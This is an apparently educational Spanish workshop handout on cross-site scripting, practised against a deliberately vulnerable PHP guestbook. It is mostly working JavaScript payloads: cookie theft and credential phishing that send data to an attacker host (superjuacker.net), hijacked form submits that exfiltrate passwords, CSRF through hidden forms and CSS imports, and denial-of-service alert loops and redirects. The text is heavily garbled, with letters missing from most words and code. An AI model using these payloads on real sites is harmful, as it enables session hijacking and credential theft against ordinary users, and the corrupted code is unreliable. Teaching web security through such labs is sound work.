por dversn y benefco Peo Xaber Atad Insttuto Cuatroventos De las muchas vulnerabilidades que podemos encontrar en las aplicaciones Web una de las ms comunes es el XSS o Cross-Site-Scripting. Consiste esencialmente en introducir cdigo en pginas web para que lo ejecute cualquiera que acceda a ellas. unque es relativamente !cil protegerse ante estos ataques" e#isten muchas maneras de saltarse !iltros. $n este taller se probaran distintas diversiones con javascript" desde el hola mundo a cosas ms complejas.
Tabla de contenidos Ataques XSS con |avascrpt como dversn y benefco .........................................1 (0). Escenaro y prmera prueba .......................................................................2 (1). Hoa mundo ................................................................................................3 (2). Dando por e cuo con aerts .......................................................................4 (3). Vmonos de aqu ........................................................................................5 (4). |ugando con e ob|eto wndow ....................................................................6 (5). Soctando datos a usuaro ........................................................................7 (6). Capturando eventos ...................................................................................8 (7). Robo de cookes y sesones ......................................................................10 (8). Sesson Rddng ........................................................................................11 (9). Adueandonos de documento a travs de DOM ............................................12 (9.1). Ou es eso de DOM? .............................................................................12 (9.2). Leer, modfcar, aadr, reempazar y emnar ........................................13 (10). A|AX: una nueva era .....................................................................................18 (10.1). Mandando datos por o ba|n .................................................................19 (10.2). Mandando datos fuera ..........................................................................23 (10.3). Snfando datos .......................................................................................24 (11). Formas de ntroducr XSS .............................................................................25 Referencas, webs, artcuos:.................................................................................25 4party Ataques XSS (0). Escenario y primera prueba
E XSS o Cross Ste scrptng es un tpo de ataque muy senco que puede efectuarse contra as apcacones web. S no se ftran convenentemente os datos ntroducdos por os usuaros de as apcacones web, puede nsertarse HTML, |avascrpt y cuaquer cosa a travs de formuaros, enaces o cuaquer otra forma de entrada. Bscamente consste en hacer e|ecutar cdgo |avascrpt en e navegador de a vctma a travs de a nsercn de forma refe|ada o persstente. Este grfco mostrara e ataque refe|ado o no-persstente: E ataque persstente es ms pegroso ya que afecta de gope a todo aque que vste una web comprometda. 4party Ataques XSS En e grfco se muestra e prmer paso, en e que e atacante nserta cdgo |avascrpt y este queda en una BBDD. Cmo funcona e ataque persstente? Supongamos que una web habta a posbdad que os usuaros metan comentaros. S un usuaro macoso nserta un comentaro con cdgo |avascrpt, cuando su comentaro se muestra en os navegadores de os dems usuaros que vstan a web ese cdgo |avascrpt se e|ecutar en sus navegadores. Y qu es o que puede egar a hacer ese usuaro macoso usando nsertando |avascrpt? Exsten nfndad de documentos y pgnas que descrben e Cross Ste Scrptng, pero muchas veces expcan unos pocos de casos y ya est. Est caro que s se permte e XSS as posbdades son nfntas, tantas como o permten os engua|es y as crcunstancas. En este documento se trata de reunr ve|as tcncas y otras ms nuevas de ataques XSS, sobre todo as reaconadas con |avascrpt, tratando de presentar un nteresante abanco. Para as pruebas se ha utzado una apcacn web desarroada en php y mysq. Es un guestbook programado de forma ncorrecta y temerara en a que no se comprueban os datos de entrada y con a que convrtendonos en usuaro macoso podemos hacer todas as pruebas que queramos. En a apcacn hay una pgna ndex.php en a que cuaquer usuaro puede de|ar comantaros u ataques. Para ver os efectos basta con recargar a pgna. Para una mayor comoddad sera nteresante dsponer a mano de a gestn de a BBDD a travs de phpmyadmn o por consoa, para vacar as tabas de vez en cuando, ya que aguno de os ataques mposbtar e acceso a a apcacn. Una forma smpe de comprobar s en a apcacn web se comprueban os datos 4party Ataques XSS es nsertar ago de cdgo htm. Los comentaros HTML seran un buen e|empo, s no se ven pero estn en e cdgo fuente de a pgna es posbe que a apcacn sea vunerabe: <!-- esto no se va a ver --> Y s no pueden usarse etquetas sencas <>Hoa</>
Para empezar a dversn podemos meter agunos efectos: <marquee>Me estoy despazando</marquee> Con otras etras. <marquee><p stye='font-sze: 60pt'>Ahora con grandes etras</p></marquee>
Tambn podemos meter ago de sondo <embed src="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav">
O un sondo ms ocuto: <bgsound src="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav">
Dentro de exporer podemos meter mgenes como esta: <mg dynsrc="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav "> Se puede meter cuaquer etqueta HTML que se nos ocurra para dstorsonar e aspecto de a pgna de una forma ms o menos amatva u ocurrente. Pero o que nteresa es probar cosas que se pueden hacer con |avascrpt. Para probar s e XSS de |avascrpt funcona o ms drecto es probar ago as: <scrpt anguage="|avascrpt"> document.wrte("XSS de |avascrpt"); </scrpt> O ms senco <scrpt>document.wrte("XSS de |avascrpt");</scrpt> Sempre que nos nterese meter mucho cdgo puede usarse un fchero externo: <scrpt anguage="|avascrpt" src="http://super|uacker.net/mcodgo.|s"></scrpt> 4party Ataques XSS (1). Hola mundo E engua|e |avascrpt es un engua|e: * Interpretado * Debmente tpado ( no hay tpos expctos como nt, char) * Orentado a ob|etos * Destnado a dotar de mayor dnamsmo a documentos HTML en os navegadores. En cuanto a a sntaxs, es muy smar a a de engua|e C en o bsco, dspone de as msmas estructuras de contro, operadores, funcones, etc...
Bueno, sempre hay que empezar por o ms smpe. Para acostumbrarse a crear cdgo |avascrpt hay que quedarse con as etquetas <scrpt> y </scrpt>, y dentro de eas meteremos nuestro cdgo (s, hay muchas otras formas). En ese cdgo puede haber defncn de varabes, funcones, nvocacn de funcones, uso de ob|etos predefndos |avascrpt (wndow, document,...) etc... Para empezar podemos nsertar mensa|tos con un smpe aert. <scrpt> aert("Hoa mundo!");</scrpt>
<scrpt>aert("Esto es un aert \n Con satos y todo\n est ben eh");</scrpt> 4party Ataques XSS (2). Dando por el culo con alerts
Una forma smpe de tocar as narces a os usuaros es meter aerts ntermnabes. Eso es obgar a matar e proceso de navegador, por muchas pestaas que tengan. S ocurre en mtad de una transaccn u otro momento mportante de a navegacn puede resutar desastroso para e usuaro. Un aert 5 veces: <scrpt> for (=0;<5;++) aert("5 veces "+ ); </scrpt> Un buce nfnto: <scrpt> for (;;) aert("Nunca termnar"); </scrpt> A travs de wndow confrm tambn e podemos dar a tabarra a usuaro: <scrpt> functon darPorcuo () { f (confrm("Seeccona OK y te de|ar en paz")) { aert("Puedes estar tranquo o no?"); } ese { aert("Sgo a o mo"); } darPorcuo(); } darPorcuo(); </scrpt> 4party Ataques XSS (3). Vmonos de aqu
Una denegacn de servco o un hackeo cutre es hacer que una web resute naccesbe. Peno, muy smpe, pero que funcona sn probemas: <scrpt> document.ocaton.href = "http://super|uacker.net/deface.php"; </scrpt> Otra forma de hacer o msmo con wndow: <scrpt> wndow.ocaton = "http://super|uacker.net/deface.php"; </scrpt> Con e ob|eto Locaton podemos hacer o msmo: <scrpt> ocaton.assgn(""http://super|uacker.net/deface.php""); </scrpt> Esto tambn tendra e msmo resutado: <scrpt> ocaton.repace("http://super|uacker.net/deface.php"); </scrpt> Podemos |ugar un poco ms reptendo a carga de a propa pgna: <scrpt anguage="|avascrpt"> setTmeout('recarga()',100); functon recarga () { ocaton.reoad(); setTmeout('recarga()',5); } </scrpt> 4party Ataques XSS (!). "u#ando con el ob$eto %indo%
E engua|e |avascrpt dspone de ob|eto Wndow, gracas a cua podemos hacer dstntas cosas con a ventana de navegador. Estos son agunas de os mtodos y propedades ms conocdas de ob|eto wndow.
%indo%.alert(msg) : mostrar un mensa|e %indo%.con&irm(msg) : mostrar un daog de confrmacn %indo%.prompt(msg) : mostrar un daog que socta datos %indo%.print() : abre e daog de a mpresora %indo%.&ind() : abre e daog de busquedas %indo%.close() : trata de cerrar e navegador. Este pde confrmacn. Un atrbuto que marca e ugar en que se encuentra e navegador: wndow.Locaton = "http://www.|uacker.net";
Con as propedades y metodos sguentes podes fastdar a pgna y crear efectos dvertdos wndow.reszeTo(x,y) : cambar e tamo de a pgna Un e|empo: <scrpt anguage="|avascrpt"> wndow.reszeTo(10,10); </scrpt> %indo%.mo'eTo(x,y) : para mover a ventana %indo%.mo'e(y(x,y) : para despazar a ventana horzontamente y vertcamente <scrpt anguage="|avascrpt"> wndow.reszeTo(0,0); wndow.moveTo(0,0); </scrpt> Con esto movemos a ventana en un sentdo. <scrpt anguage="|avascrpt"> var x = 0; var y = 0; setTmeout('mover(x,y)',1000); functon mover (,|) { wndow.moveTo(++,|++); 4party Ataques XSS x = (>400)?0:; y = (|>400)?0:|; setTmeout('mover(x,y)',5); } </scrpt>
Pero un movmento aeatoro es mucho ms dvertdo: <scrpt anguage="|avascrpt"> setTmeout('mover()',1000); functon mover () { wndow.moveTo(Math.round(Math.random()*200),Math.round(Math.random()*200)); setTmeout('mover()',5); } </scrpt>
%indo%.&or%ard() : avanzar en a navegacn, como s pusaramos a fecha de navegador %indo%.bac)() : retroceder en a navegacn Con esto e usuaro ser ncapaz de ver a pgna, savo que sea a prmera: <scrpt anguage="|avascrpt"> wndow.back(); </scrpt> %indo%.open() : a funcn que abre os odosos pop-ups. Suerte que cada vez estn ms controados <scrpt anguage="|avascrpt"> wndow.open("http://www.super|uacker.net","","wdth=600,heght=500"); </scrpt>
4party Ataques XSS (*). +olicitando datos al usuario
Como hemos vsto, con e mtodo wndow.prompt podemos crear un daog que socta datos a usuaro. Podemos crear un cdgo que socte e dato y o enve a otro sto: <scrpt anguage="|avascrpt"> var password = prompt("La sesn ha termnado. Por favor, vueva a ntroducr su cave:"); document.ocaton.href="http://super|uacker.net/eerpass.php?p=" + password; </scrpt> En e caso de IExporer podemos usar a funcn wndow.createPopup. Lo bueno es que con un pop-up podemos crear pantaas ms compe|as y crebes. <SCRIPT anguage="|avascrpt"> var mVentana = wndow.createPopup(); functon abrr() { var contendo = mVentana.document.body; contendo.nnerHTML = '<h1>etquetas HTML o o que sea...</h1>'; mVentana.show(290, 190, 200, 200, document.body); } abrr(); </SCRIPT> Para que esto cuee e usuaro debe ser un poco user, pero vsta a efectvdad de os vrus y de os engaos en genera a mayora cae. Se puede hacer de un modo mucho ms eegante, usando un boque DIV y mmetzndoo con e dseo de a propa pgna. Se puede hacer tambn como o que se muestra a contnuacn: Crear un boque DIV que ocupe TODA a pgna. Basta con apcar agunas propedades de ho|as de estos y crear un dv crebe: <scrpt anguage="|avascrpt"> document.getEementById('dvfaso').stye.vsbty = "vsbe"; </scrpt> <dv d='dvfaso' stye='poston:absoute;z-ndex:1;wdth:100%;heght:100%;top:0;eft:0; border: 2px sod back;background-coor: bue;vsbty:fase;'> La sesn ha termnado. Por favor ntroduzca su usuaro y su contrasea otra vez. <form method='post' acton='http://super|uacker.net/recoger.php'> Izena:<nput type='text' name='ogn'><br> Pass:<nput type='password' name='pass'><br> <nput type='submt'> </form> </dv> 4party Ataques XSS (,). -apturando e'entos Aqu ya empezamos con sutezas. E engua|e |avascrpt dspone de un mecansmo esenca de os nterfaces vsuaes: os eventos. Cuando e usuaro pusa un botn o reaza aguna accn concreta e fu|o puede drgrse una funcn de |avascrpt. Los eventos pueden capturarse a travs de as etquetas HTML: <nput type="button" name="botn" vaue="Cerra" onCck="wndow.cose()">
<mg src="magen.|pg" onMouseOver="aert('ests sobre a magen')"> Pero adems de drgr as accones segn determnados eventos, con |avascrpt tambn es posbe capturaros y asocares una funcn.
functon funcon () { ... } document.getEementById("eemento").oncck = funconMagna; Esto nos abre un abanco de posbdades nfntas en as que e nco mte es a magnacn y e conocmento de os engua|es de a web. En este caso vamos a tratar de aduearnos de os datos ntroducdos en un formuaro: <scrpt anguage="|avascrpt"> functon ataque() { aert('Ataque XSS'); } // Tenemos ms de una opcn para asocar a funcn a evento. //document.ognform.onsubmt = new Functon ("ataque()"); //document.ognform.onsubmt = ataque; document.forms|0|.onsubmt = ataque; </scrpt> En fn, eso no es ms que un PoC. Cmo nos as apaamos para sacar os datos? Podemos usar e propo ob|eto de formuaro y a partr de ah podremos drgro a donde queramos: <scrpt anguage="|avascrpt"> functon robardatos() { var ogn = document.forms|0|.ogn.vaue; var password = document.forms|0|.password.vaue; document.ocaton.href = "http://super|uacker.net/recbr.php?user=" + ogn +"&pass=" + password; aert('Ataque XSS'); 4party Ataques XSS } //Asgnamos a funcn document.forms|0|.onsubmt = robardatos; </scrpt> E probema de ese ataque es que e usuaro, que es usuaro pero no tonto, observar que est pasando ago. Para dsmuar esa petcn se puede crear una magen HTML y en su atrbuto source mandamos os datos: <scrpt anguage="|avascrpt">
// defnmos aqu as varabes var ogn = document.forms|0|.ogn.vaue; var password = document.forms|0|.password.vaue; functon robardatos() { var magen = new Image; var dreccon = "http://super|uacker.net/recbr.php?user=" + ogn +"&pass=" + password; magen.src = dreccon; }
//Asgnamos a funcn document.forms|0|.onsubmt = robardatos; </scrpt>
4party Ataques XSS (.). /obo de coo)ies y sesiones
A travs de a propedad document.cooke podemos sacar a cooke que est utzando e usuaro: <scrpt anguage="|avascrpt"> aert("Cookeak: " + document.cooke); </scrpt> S se consgue sacar ese dato fuera y s e contro de sesones es muy smpe se puede factar e sesson h|ackng o secuestro de sesn. Para sacar e dato de a cooke bastara con hacer ago as: <scrpt> document.ocaton.href = "http://super|uacker.net/recbr.php?ck="+ document.cooke; </scrpt> Ese cdgo tene e probema de que e robo es descarado, pero podemos usar otra vez e truco de a magen para sacar e dato con dsmuo. <scrpt anguage="|avascrpt"> functon robarcooke() { var magen = new Image; var dreccon = document.ocaton.href="http://super|uacker.net/recbr.php?ck="+ document.cooke; magen.src = dreccon; } </scrpt> Exsten otras maneras de sacar e dato, caro est, basta con usar cuaquer ob|eto que tenga una propedad src o smar. Luego hay formas sencosas y drectas que veremos ms adeante. 4party Ataques XSS (0). +ession /iddin# E Sesson Rdng o e tambn conocdo como Cross-Ste Request Forgeres es en certo modo e ataque perfecto. En ugar de robar una sesn, un ataque puede evarse a cabo usando a sesn y e propo navegador de usuaro! Suena ncrebe pero reamente es ago muy muy smpe. S e usuaro accede a una pgna con cdgo htm+|avascrpt macoso podemos hacer que desde su navegador haga o que nos nterese. Supongamos que metemos ago as en una pgna, esta vez en ugar de usar una magen usamos una referenca a una supuesta ho|a de estos que no es ta: <stye type="text/css"> @mport ur(http://ocahost/xss|avascrpt/de.php?d=1); </stye> Cuano e usuaro cargue a pgna con ese contendo, su navegador pedr a ur http://ocahost/xss|avascrpt/de.php?d=1 que en este caso puede estar especamente construda para reazar una accn concreta en una apcacn web. Esa URL puede ser una accn en una apcacn en a que tene aberta a sesn e usuaro, qun sabe s con permsos de admnstrador. Acabamos de ograr que msmo borre datos sn darse cuenta. E atacante no ha tendo por qu robare a sesn, e usuaro o hace desde a suya. Podemos hacer que borre todo: <stye type="text/css"> @mport ur(http://ocahost/xss|avascrpt/de.php?d=denak); </stye> Con eso vemos como atacar una apcacn por mtodo pero no sera muy compcado evar a cabo petcones POST creando formuaros ocutos: <form name="ocuto" method="post" acton="http://super|uacker.net/recbrpost.php"> <nput type="hdden" name="dato1"> </form> <scrpt> document.forms.ocuto.dato1.vaue = "Secreto: " + document.cooke; document.forms.ocuto.submt(); </scrpt> Para acertar, basta con pensar en apcacones popuares y ben conocdas, sacar os datos que esperan en sus formuaros y crear una arga sta de ataques. Aguno coar. 4party Ataques XSS 4party Ataques XSS (1). 2due3andonos del documento a tra'4s de D56
Un documento HTML no es ms que una estructura |errquca de etquetas. Las etquetas y e orden en e que se pueden poner as estabece a defncn de tpo de documento o DTD que es un fchero con una sere de regas. Los fcheros DTD son estndars y en e caso de HTML os estabece e consorco web o w3c.org. Se supone que todas as pgnas web sguen un estndar, sea HTML o XHTML, y desde |avascrpt exsten una sere de mtodos para acceder a esas etquetas y en defntva a a estructura de documento. (9.1). Qu es eso del DOM? E DOM o Document Ob|ect Mode es un API de |avascrpt que facta e acceso e documento HTML y con e que podemos eer etquetas, atrbutos, contendo de as etquetas, modfcar, aadr, borrar, etc.. dcho de otro modo, podemos acceder a cuaquer parte de documento HTML desde |avascrpt, aadre nuevas etquetas donde queramos, emnar eementos de a pgna, y en defntva gestonar e rbo de documento a nuestro gusto. E DOM es una herramento muy poderosa para e programador de |avascrpt y que sn duda e facta mucho a tarea de nteractuar con e nterfaz. Pero por otro ado se converte en una puerta con afombra para que un usuaro mantenconado manpue una pgna de manera muy sut. (9.2). Leer, modificar, aadir, reemplazar elimi!ar Vamos a ver como funconan agunos mtodos ms usuaes de DOM a travs de un e|empo: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transtona//EN" "http://www.w3.org/TR/htm4/oose.dtd"> <htm> <tte>E|empo de documento</tte> <scrpt anguage="|avascrpt"> ... </scrpt> <body> <dv d="boquedv">Esto es e <b>ttuo</b> </dv> <u> <><a href="edtora.htm">Edtora</a></> 4party Ataques XSS <><a href="sembanza.htm">Autores</a></> <><a href="notcas.htm">Notcas</a></> <><a href="contactos.htm">Conttenos</a></> </u> <nput type="button" name="captura" vaue="Capturar" onCck="captura()" > <nput type="button" name="modfca" vaue="Modfcar" onCck="modfca()" > <nput type="button" name="crea" vaue="Crear" onCck="crea()" > <nput type="button" name="emna" vaue="Emna" onCck="emna()" > <nput type="button" name="recupera" vaue="Recupera" onCck="recupera()" > </body> </htm> Partendo de esa pgna HTML, vamos a mpementar dstntas funcones que manpuen e documento. Captura de eementos /** * captura * funcn para mostrar e acceso a os eementos de documento * de dstntas maneras * Las magenes, formuaros */ functon captura () { // capturamos un eemento por ID var boque = document.getEementById("boquedv"); // capturamos todos os eemento por etqueta: devueve un array var enaces = document.getEementsByTagName("a"); // Esto devueve un array var dvs = document.getEementsByTagName('dv'); // Sacamos e HTML que contenen var texto = boque.nnerHTML; var texto2 = dvs|0|.nnerHTML; aert("Dentro de dv: " + texto + "\n" + texto2); /* // un e|empo var = 0; var textoenaces = ""; for (=0;<enaces.ength;++) { textoenaces += + "> " + enaces||.nnerHTML + "\n"; } aert("Los enaces apuntan a: \n" + textoenaces); */ 4party Ataques XSS } 6odi&icar /** * modfca * funcn para modfcar os eementos de documento */ functon modfca() { // capturamos un eemento por ID var boque = document.getEementById("boquedv"); // capturamos todos os eemento por etqueta: devueve un array var enaces = document.getEementsByTagName("a"); boque.nnerHTML = "Ahora te cambo en <b>contendo</b>"; boque.stye.backgroundCoor = "yeow"; } -rear elementos /** * crea * funcn para crear nuevos eementos en e documento */ functon crea() { // capturamos un eemento por ID var boque = document.getEementById("boquedv"); // capturamos todos os eemento por etqueta: devueve un array var sta = document.getEementsByTagName("u"); var temsta = document.createEement(""); temsta.nnerHTML = wndow.prompt("Inserta un contendo para a sta"); // ahora se o aadmos a a sta con appendChd sta|0|.appendChd(temsta); // Vamos a crear un enace var textoEnace = document.createTextNode("Super enace"); var nuevoEnace = document.createEement("a"); nuevoEnace.href = "http://4party.cuatroventos.org"; nuevoEnace.appendChd(textoEnace); 4party Ataques XSS var temsta2 = document.createEement(""); temsta2.appendChd(nuevoEnace); sta|0|.appendChd(temsta2);
// Crear una taba var taba = document.createEement("tabe");
// En ugar de creare todos os eementos a mano // Le metemos todo taba.nnerHTML = "<tr><td>Ceda 1</td><td>Ceda 2</td></tr>"; taba.border = 1; // Y o ncumos en e documento document.body.appendChd(taba); } Eliminar var guardado; /** * emna * funcn para emnar eementos de documento */ functon emna() { // capturamos a taba por tag var tabas = document.getEementsByTagName("tabe"); // Ahora accedemos a a segunda ceda de a taba var ceda2 = document.getEementsByTagName("tabe")|0|.chdNodes.tem(0).chdNodes.tem(0).astChd;
aert("Vamos a borrar: " + ceda2.nnerHTML + " y e boque DIV");
// capturamos un eemento por ID var boque = document.getEementById("boquedv"); // Lo emnamos y uego o guardamos guardado = document.body.removeChd(boque);
} /ecupera /** 4party Ataques XSS * recupera * funcn que recupera un eemento emnado */ functon recupera() {
document.body.appendChd(guardado);
//var otroboque = guardado.cone(true);
// S o queremos meter a prncpo, podemos usar nsertBefore // A que e debemos especfcar antes de qu poscn hacero var sta = document.getEementsByTagName("u");
document.body.nsertBefore(guardado,sta|0|); } Todas estas funcones muestran e|empos de uso de API DOM. es mucho ms extenso y se e puede sacar ms |ugo. Pero conocendo ese poco ya se nos pueden ocurrr muchas cosas nteresantes para manpuar a pgna. (9."). #l$u!as ocurre!cias Vae, ya hemos presentado e men de opcones, ahora Ou cosas podemos hacer con este poder? Bueno, as a bote pronto se nos pueden ocurrr unas cuantas:
Modfcar e contendo de un banner Anadr un dv con mens o ampar os ya exstentes Modfcar os formuaros para que manden e contendo a otro sto Aadr nuevas entradas en un bog o foro Manpuar todo tpo de datos: nmero de vstas, de comentaros, de votos, ... un argo etcetera que depende de o ocurrente que tengamos e da. Como prueba vamos a manpuar un texto de|ado por un usuaro en e guestbook. Para eo basta con anazar un poco a estructura de documento, a o|o o utzando herramentas como e DOM Inspector de Frefox. Lo que poda ser un texto amabe o podemos convertr en otra cosa. S observamos e HTML de guestbook veremos que cada entrada va dentro de un boque DIV con un contendo como este: <dv cass='entrada' d='entrada_6' > Oun: <b>Devorah</b> - Cundo: <>2007-06-06 10:24:39</><br> Web: <a href='http://www.test.com'>http://www.test.com</a><br> <b><>Me moas</></b></n><br> 4party Ataques XSS <p>Tu web est super ben.</p><br> </dv><hr> Para manpuar esta entrada tan sugerente, bastara con nsertar un |avascrpt como este: <scrpt> functon camba() { var ttuo = document.getEementsByTagName("h1");
ttuo|0|.nnerHTML = "MI GUESTBOOK APESTA";
var boque = document.getEementById('entrada_6'); boque.nnerHTML = "Oun: <b>|uan |os</b> - Cundo: <>2007-06-06 10:24:39</><br>"; boque.nnerHTML += "<a href='http://www.ya.com'>http://www.ya.com</a><br>"; boque.nnerHTML += "<b><>Lo sento, te han puesto os cuernos</></b></n><br>"; boque.nnerHTML += "<p>que sepas que tu nova me estuvo provocando y a fna me de|e evar"; boque.nnerHTML += "Levas unos cuernos que vas rayando e techo.</p><br>"; } // Cudado: en este caso no o podemos e|ecutar drectamente, hay que esperar que a // pgna est cargada con todos os eementos. document.body.onoad = camba(); </scrpt> Dvertdo no? Obvamente pueden hacerse cosas ms "seras" que comprometan a segurdad de a pgna, como r a por as contraseas manpuando os formuaros.
4party Ataques XSS (10). 2"278 una nue'a era A|AX o Asynchronous |avascrpt And Xm es un con|unto de tecnoogas que puede usarse en apcacones web para dotar a os navegadores de a posbdad de reazar petcones a servdor sn que a pgna actua se recargue. Esto supone un gran adeanto ya que hasta hace poco, cuando desde e navegador se soctaba un pgna a servdor esta se cargaba y a partr de ah termnaba e vncuo entre cente y servdor. Ahora en cambo, gracas a A|AX, a pgna web de cente puede hacer nuevas petcones a servdor y refe|ar os cambos en a pgna sn que haya recarga. Con A|AX pueden hacerse petcones y envos de datos a servdor de forma transparente y adems e podemos unr e DOM para que pueda modfcarse a pgna de forma dnmca. Entre estas dos tcncas se consgue una funconadad que hace aos sera mpensabe. Pero toda nueva tecnooga sempre trae consgo sus resgos y como ya habrs mgnado e hecho de que e navegador tenga a capacdad de hacer petcones de manera cas nvsbe para e usuaro resuta muy atractvo para as pretensones mavoas. (1%.1). Ma!da!do da&os por lo 'a(i!i Vamos a ver cmo sera e cdgo |avascrpt para hacer petcones con A|AX, tanto de tpo GET como as de tpo POST. Con este senco cdgo, vdo para Frefox y IExporer podramos hacer una petcn GET con A|AX. 1. Prmero se crea un ob|eto para hacer as petcones A|AX dentro una funcn que manda a petcn. 2. Luego hay que crear una funcn que sea capaz de procesar a respuesta. <!DOCTYPE htm PUBLIC "-//W3C//DTD XHTML 1.0 Transtona//EN" "http://www.w3.org/TR/xhtm1/DTD/xhtm1-transtona.dtd"> <htm xmns="http://www.w3.org/1999/xhtm" xm:ang="es" dr="tr" ang="es"> <head> <meta http-equv="Content-Type" content="text/htm; charset=utf-8" /> <tte>E|empo smpe de A|ax, Asynchronous |avascrpt And XML : saudo</tte> <scrpt type="text/|avascrpt"> /*<!|CDATA|*/
/** * saudoA|ax: E|empo basco de A|AX (1) * Esta funcon nvoca un ob|eto capaz de hacer petcones a una pagna * sn que se recargue a pagna. Funcona en exporer 6 sp2 y Frefox 1.0.6 * En este caso smpemente se socta una pagna y se muestra e texto */ functon saudoA|ax () { 4party Ataques XSS // Creamos e ob|eto, segun e navegador f (wndow.XMLHttpRequest) { // Para os moza y os basados en gecko xmhttprequest = new XMLHttpRequest(); } ese f (wndow.ActveXOb|ect) { // Para Mordorsoft Expoter xmhttprequest = new ActveXOb|ect("Mcrosoft.XMLHTTP"); }
// PREPARANDOSE PARA LA RESPUESTA // estabecemos un hander para cuando egue a respuesta, // es decr, e decmos que funcon procesara e XML // xmhttprequest.onreadystatechange = procesaXML; // Me|or decarara as para especfcar e parametro xmhttprequest.onreadystatechange = functon() { procesaXML(xmhttprequest); };
// HACIENDO LA PETICION // Open(metodo, ur, y s queremos a petcon asncrona o no) xmhttprequest.open('GET', 'saudo.xm', true);
// No tene por que ser XML, podra ser texto norma //xmhttprequest.open('GET','texto.txt',true);
// Send es necesaro para que se procese a petcon // pero es optatvo pasar parametros para a URL remota xmhttprequest.send(nu);
}
/** * procesaXML * parametros: e ob|eto xmhttprequest * Es a funcon hander que procesa e archvo recbdo a traves * de a petcon. */ functon procesaXML (xhr) { // prmermo comprobamos e estado de a respuesta // 0: sn ncazar // 1 : cargandose // 2 : cargado // 3 : nteractvo // 4 : competa f (xhr.readyState == 4) { // A contnuacon comprobamos e codgo de respuesta HTTP de servdor // en caso de ser correcta sera 200 (OK) // S hacemos una prueba oca no es necesaro //f (xhr.status == 200) { var resutado = xhr.responseText; var boque = document.createEement("dv"); boque.nnerHTML = "<b>" + resutado + "</b>"; document.body.appendChd(boque); //} ese { // aert("Error a recbr petcn."); 4party Ataques XSS //} } ese { // Todava no hay respuesta... } }
/*||>*/ </scrpt> </head> <body> <p> Es es un e|empo muy smpe de A|ax. S pnchas en e enace se hace una petcon para cargar un contendo sn que se recargue a pagna. </p> <a href="|avascrpt:saudoA|ax()">Sadame como es debdo</a> <hr />
</body> </htm> E$emplo de post Y con este otro cdgo, haramos una petcn A|AX envando os datos de un formuaro por POST: <!DOCTYPE htm PUBLIC "-//W3C//DTD XHTML 1.0 Transtona//EN" "http://www.w3.org/TR/xhtm1/DTD/xhtm1-transtona.dtd"> <htm xmns="http://www.w3.org/1999/xhtm" xm:ang="es" dr="tr" ang="es"> <head> <meta http-equv="Content-Type" content="text/htm; charset=utf-8" /> <tte>E|empo smpe de A|ax, Asynchronous |avascrpt And XML : Conversor de euros</tte> <scrpt type="text/|avascrpt"> /*<!|CDATA|*/
/** * conversor : E|empo bsco de A|AX. * Invocado desde e boton de converson, prepara e ob|eto de petcon * e nvoca una pagna php remota */ functon conversor () {
var cantdad = document.getEementById("conversor").vaue;
// aert("La cantdad es " + cantdad);
// Creamos e ob|eto, segun e navegador f (wndow.XMLHttpRequest) { // Para os moza y os basados en gecko xmhttprequest = new XMLHttpRequest(); } ese f (wndow.ActveXOb|ect) { // Para Mordorsoft Expoter xmhttprequest = new ActveXOb|ect("Mcrosoft.XMLHTTP"); 4party Ataques XSS }
// PREPARANDOSE PARA LA RESPUESTA // estabecemos un hander para cuando egue a respuesta, xmhttprequest.onreadystatechange = functon() { procesaConversor(xmhttprequest); };
// HACIENDO LA PETICION // Open(metodo, ur, y s queremos a petcon asncrona o no) xmhttprequest.open('POST', 'procesa.php', true);
// Preparamos e POST. Hay que estabecer esta cabecera // para poder envar varabes por post xmhttprequest.setRequestHeader('Content-Type', 'appcaton/x-www-form-urencoded');
// Send es necesaro s queremos pasar varabes por POST // as que construmos una espece de query strng con varabes=vaores xmhttprequest.send("conversor="+cantdad);
}
/** * procesaConversor * parametros: e ob|eto xmhttprequest * Es a funcon hander que procesa e archvo recbdo a traves * de a petcon. Es gua que a funcon anteror pero en este caso parseamos e XML */ functon procesaConversor (xhr) { // prmermo comprobamos e estado de a respuesta f (xhr.readyState == 4) { // A contnuacon comprobamos e codgo de respuesta HTTP de servdor f (xhr.status == 200) { aert(xhr.responseText); } ese { aert("No se recbo una respuesta correcta. Respuesta HTTP: " + xhr.status); } } ese { // Todava no hay respuesta... } }
/*||>*/ </scrpt> </head> <body> Este e|empo enva e contendo de a ca|a de texto a una pagna php, recoge e resutado y o carga en a propa ca|a de texto. Todo eo sn que se recargue a pagna. <nput type="text" name="conversor" d="conversor" vaue="" /> <nput type="button" name="boton" d="boton" vaue="Converte € a ptas." oncck="conversor()" /> 4party Ataques XSS <hr />
</body> </htm> Por tanto, un otro tpo de ataque XSS sera a travs de A|AX, sencoso, potente y con ms posbdades abertas para e ma. (1%.2). Ma!da!do da&os fuera En prncpo A|AX tene mpuesta una mtacn por a cua e scrpt no puede hacer petcones a otros domnos dstntos a de orgen de documento HTML. Lo verdaderamente nteresante para e usuaro macoso sera a posbdad de poder sacar os datos a donde qusera. Esta proteccn de segurdad tambn ha supuesto una pega para os propos desarroadores, ya que a una apcacn web puede nteresare que desde e cente se hagan petcones A|AX a dstntos domnos. Una soucn para esto sera smpemente crear una espece de proxy en e msmo domno para redrgr as petcones desde e domno egtmo a cuaquer otro. Para e usuaro magno exsten otras formas de consegur su propsto u evadr esta proteccn: La ms obva, es envar os datos capturados a a propa web. En e caso de guestbook sera tan smpe como crear una nueva entrada. Se podra utzar agn tpo de codfcacn o cfrado smpe para ocutar os datos capturados y sto. Insertar e snffer de a|ax desde un ugar externo y drgr os datos a : <scrpt src="http://www.super|uacker.net" ></scrpt> Aprovecharse de as propedades de |avascrpt como engua|e orentado a ob|etos para reescrbr as funcones de A|AX. Esta tcnca ha sdo descrta en esta web: http://myappsecurty.bogspot.com/2007/01/a|ax-snffer-prrof-of- concept.htm Adems ha ncudo una prueba de concepto que funcona perfectamente. (1%."). )!ifa!do da&os 4party Ataques XSS Esto sera un e|empo de cdgo de cmo capturar datos. Basta con usar e evento onkeydown.
